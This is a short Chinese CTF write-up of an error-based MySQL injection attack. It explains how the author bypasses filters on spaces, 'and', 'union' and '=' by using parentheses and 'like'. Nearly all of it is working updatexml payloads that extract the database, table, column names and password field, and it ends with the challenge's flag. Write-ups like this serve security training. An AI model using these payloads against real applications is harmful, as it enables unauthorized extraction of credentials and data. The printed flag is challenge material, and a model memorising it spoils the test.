经过开始的测试,输入1'报错,输入1' or 1=1#没用,输入1'or'显示密码错误,可以发现空格被过滤
进一步测试发现and,union也被过滤,于是想到用报错注入
则考虑用()绕过空格过滤,构造payload:
1'or(updatexml(1,concat(0x7e,database(),0x7e),0))#
可以得到数据库名:geek
第二部构造payload:
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema='geek')),0x7e),0))#
发现可能=被过滤,则用like绕过
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),0))#
得到表名:H4rDsq1
进一步构造payload获取列:
1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')limit(0,1)),0x7e),0))#
但发现不行
修改payload:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),0))#
得到字段id,username,password
接着构造payload:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),0x7e),0)#
得到一半的答案:
flag{15afeb9d-bcad-4c93-8bf9-b2
right函数为返回最右边的len个字符的字符串str
eg:SELECT RIGHT('foobarbar', 4)
结果:rbar
用right从右边截取,多截取一点:
1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),0))#
得到:3-8bf9-b269c0ffde49}
去掉重复部分得到答案:flag{15afeb9d-bcad-4c93-8bf9-b269c0ffde49}
也可以用length函数得到password的长度:
1'or(updatexml(1,concat(0x7e,(select(length(password))from(H4rDsq1)),0x7e),0))#
然后用right函数截取